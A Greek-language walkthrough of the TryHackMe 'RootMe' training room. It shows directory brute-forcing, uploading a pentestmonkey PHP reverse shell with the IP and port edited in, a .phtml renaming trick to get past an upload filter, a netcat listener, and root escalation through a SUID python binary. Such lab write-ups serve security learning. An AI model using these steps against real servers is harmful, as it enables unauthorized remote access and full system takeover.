RootMe THM Writeup
Task 1
Πριν ξεκινήσουμε βεβαιωθείτε πως έχετε συνδεθεί με το δίκτυο του TryHackMe εκτελόντας στο τερματικό την εντολή :
sudo openvpn /μονοπάτι/μέχρι/αρχείο/που/τελειώνει/σε/.ovpn
Έπειτα πατάμε το κουμπί “Start Machine” και έτσι απαντήσαμε στην πρώτη ερώτηση!
Task 2
Γενικότερα πριν κάνουμε οποιαδήποτε επίθεση, πάντα πρέπει να ξέρουμε όσες πιο πολλές πληροφορίες γίνεται για το “θύμα”. Έτσι θα ξεκινήσουμε ανακαλύπτωντας όλες τις ανοικτές θύρες του θύματος, με την εντολή
nmap -sC -sV - A [IP_ΜΗΧΑΝΗΣ]
Παρατηρούμε πως το θύμα έχει ανοιχτές τις θύρες 22 και 80, όπου στην 22 τρέχει, όπως συνήθως το ssh και στην 80 ως συνήθως ενας http server, δηλαδή ένα site, το οποίο τρέχει την έκδοση Apache 2.4.29. Πριν επισκεφτούμε το site και προχωρήσουμε μπορούμε ήδη να απαντήσουμε στα πρώτα 3 ερωτήματα του Task 2.
Scan the machine, how many ports are open?
Απάντηση : 2
(οι θύρες 22 και 80)
What version of Apache is running?
Απάντηση : 2.4.29
What service is running on port 22?
Απάντηση : SSH
Έπειτα επισκεπτόμαστε το site γράφοντας την ip [IP_ΜΗΧΑΝΗΣ] στο URL. Ανοίγοντας το site, βλέπουμε μία απλή στατική σελίδα χωρίς κάτι που μπορούμε να κάνουμε εναντίον της. Το ίδιο και με το source code. Ο developer φαίνεται να μην άφησε καταλάθος κάτι που μπορούμε να εκμεταλλευτούμε.
Όπως κάναμε πριν με το θύμα, έτσι και τώρα πρέπει να αποκτήσουμε περαιτέρω πληροφορίες για το site αυτό. Αυτό που μας ενδιαφέρει είναι αν υπάρχει κάποιο κρυμμένο directory. Αυτό θα το μάθουμε με το πρόγραμμα gobuster, όπως μας καθοδηγεί και το ίδιο το room.
Έτσι θα βεβαιωθούμε πως το έχουμε κατεβασμένο και θα τρέξουμε την εντολή:
gobuster dir - u http://[IP_ΜΗΧΑΝΗΣ] -w /Μονοπάτι/για/το/αρχείο/common.txt
Μην ανησυχείτε, θα βρείτε το αρχείο common.txt συνημμένο στο τέλος του άρθρου. Είναι ένα αρχείο με τα πιο σύνηθη directory.
Τρέχοντας την εντολή, παρατηρούμε πως όντως υπάρχουν κάποια κρυμμένα, για εμάς, directory. Ποιά όμως μας κάνουν εντύπωση;
Σίγουρα τα directory: /panel και /uploads
Ας τα επισκεφτούμε λοιπόν
Διάνα!
Όχι μόνο υπάρχει μία σελίδα (/panel) στην οποία μπορούμε να ανεβάσουμε ότι αρχείο θέλουμε, αλλά υπάρχει και μια (/uploads) στην οποία μπορούμε και να δούμε αν πέτυχε το upload μας αλλά και να τρέξουμε το upload μας!!
Φαντάζομαι ξέρετε τι σημαίνει αυτό, ας ψάξουμε έναν τρόπο ένα αρχείο να μας δώσει πρόσβαση στον server από τον υπολογιστή μας.
Πρώτα ας απαντήσουμε όμως στο τελευταίο ερώτημα του Task 2
What is the hidden directory?
Απάντηση: /panel/
Task 3
Το TryHackMe μας βοηθάει λέγοντας μας πως πρέπει να βρούμε ενα PHP Reverse Shell. Σε απλή μετάφραση, ένα αρχείο .php το οποίο όταν το τρέξει το θύμα (ή το τρέξουμε εμείς στην θέση του μέσω του server πχ) θα αποκτήσουμε σύνδεση στον server από τον υπολογιστή μας.
Με μια απλή αναζήτηση λοιπόν μπορούμε να βρούμε το παρακάτω link που προέρχεται απο το Github και περιέχει ένα PHP Reverse Shell : https://github.com/pentestmonkey/php-reverse-shell
Για να το κατεβάσουμε στον υπολογιστή μας, εκτελούμε την εντολή:
git clone https://github.com/pentestmonkey/php-reverse-shell
Μόλις κατεβεί, κάνουμε :
cd php-reverse-shell
και μετά
mousepad php-reverse-shell.php
Όταν ανοίξει το αρχείο στον επεξεργαστή κειμένου θα ψάξουμε αν υπάρχει κάτι που πρέπει να αλλάξουμε για να δουλέψει σωστά το αρχείο.
Στις γραμμές 49 και 50, όπως παρατηρείτε ο Developer μας έχει επισημάνει πως πρέπει να βάλουμε την IP μας και την Θύρα στην οποία θα περιμένει ο υπολογιστής μας την σύνδεση με τον server. Έτσι οι δύο γραμμές θα γίνουν :
$ip = '[IP_TRYHACKME]'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Στην γραμμή 49 θα βάλετε την δική σας IP του THM την οποία μπορείτε να δείτε πάνω πάνω στο site του TryHackMe
Τώρα που το αρχείο μας είναι έτοιμο ήρθε η ώρα να το ανεβάσουμε, να το τρέξουμε και να πάρουμε πρόσβαση στον server. Για να είμαστε έτοιμοι θα ξεκινήσουμε ένα listener το όποιο θα ακούει στο port 1234 το οποίο ορίσαμε στο αρχείο και θα περιμένει αίτημα πρόσβασης. Μόλις τρέξουμε το αρχείο θα επικοινωνήσουν τα δύο μεταξύ τους και έτσι θα είμαστε μέσα στον server.
nc -lvnp 1234
Έτσι πάμε στο panel και ανεβάζουμε το php-reverse-shell.php
Μας βγάζει ένα error, το οποίο αν το μεταφράσουμε σημαίνει πως δεν επιτρέπονται τα αρχεία php… Και τι κάνουμε τώρα;
Η PHP υποστηρίζει πολλά είδη αρχείων και έμεις θα επιλέξουμε πχ το phtml ελπίζοντας πως o developer θα ήταν αφελής και ξέχασε να μην το επιτρέψει.
Έτσι αλλάζουμε το όνομα του αρχείου από php-reverse-shell.php σε php-reverse-shell.phtml και δοκιμάζουμε ξανά να ανεβάσουμε το αρχείο
mv php-reverse-shell.php php-reverse-shell.phtml
Διάνα!
Τα καταφέραμε. Τώρα πάμε στο /uploads και πατάμε το όνομα του αρχείου. ΠΡΟΣΕΞΤΕ ΝΑ ΈΧΕΤΕ ΞΕΚΙΝΉΣΕΙ ΤΟ LISTENER.
Μην νομίζετε ότι δεν δούλεψε επειδή το site δείχνει ότι φορτώνει. Απλά ανοίξτε το τερματικό στο οποίο είχατε εκκινήσει το listener και θα δείτε πως είμαστε μέσα!
Πρώτο βήμα να δούμε ποιός χρήστης είμαστε και τι αρχεία υπάρχουν.
Έτσι τρέχουμε τις εντολές:
whoami
ls -la
Βλέπουμε πως είμαστε ο www-data και πως στο συγκεκριμένο directory δεν υπάρχει κάποια άξια πληροφορία και γιαυτό θα ψάξουμε για τον φάκελο www ο οποίος βρίσκεται μεσα στο var αρα θα κανουμε cd var/www. Όταν κάνουμε ls εκεί θα δούμε πως υπάρχει το αρχείο user.txt το οποίο είναι και αυτό που ψάχνουμε σύμφωνα και με το task. Έτσι θα το ανοίξουμε με ενα cat user.txt και θα αντιγράψουμε το περιεχόμενο στην απάντηση
user.txt
Απάντηση: το αποτέλεσμα του cat user.txt
Task 4
Τώρα θα ακολουθήσουμε το hint του TryHackMe και θα τρέξουμε την εντολή
find / -user root -perm /4000
Παρατηρώντας τα binaries (/usr/bin/[ΟΝΟΜΑ_BINARY]) ένα είναι αυτό που μας κάνει εντύπωση : αυτό με όνομα /usr/bin/python.
Μας κάνει εντύπωση γιατί ακριβώς η python είναι μία γλώσσα προγραμματισμού κάτι που σίγουρα μπορεί να μας επιτρέψει να γίνουμε admin (aka root) στον server.
Search for files with SUID permission, which file is weird?
Απάντηση /usr/bin/python
Έτσι πάμε στο https://gtfobins.github.io/ , το οποίο είναι ένα site με διάφορες εντολές που μπορούν από απλό χρήστη να σε κάνουν root, εκμεταλλευόμενα ευπάθειες σαν αυτή. Ψάχνοντας python βρίσκουμε μπροστά μας την παρούσα εντολή την οποία και τρέχουμε:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Τώρα αν κάνουμε:
whoami
θα δούμε πως είμαστε ο χρήστης root κάτι που σημαίνει ότι έχουμε πρόσβαση σε όλα τα αρχεία. Για να ολοκληρώσουμε το room πρέπει να βρούμε το αρχείο root.txt το οποίο βρίσκεται ως συνήθως στον φάκελο root. Έτσι κάνουμε:
cd root
cat root.txt
Τα καταφέραμε!
root.txt
Απάντηση: το αποτέλεσμα του cat root.txt
common.txtPublished at Aug 24, 2023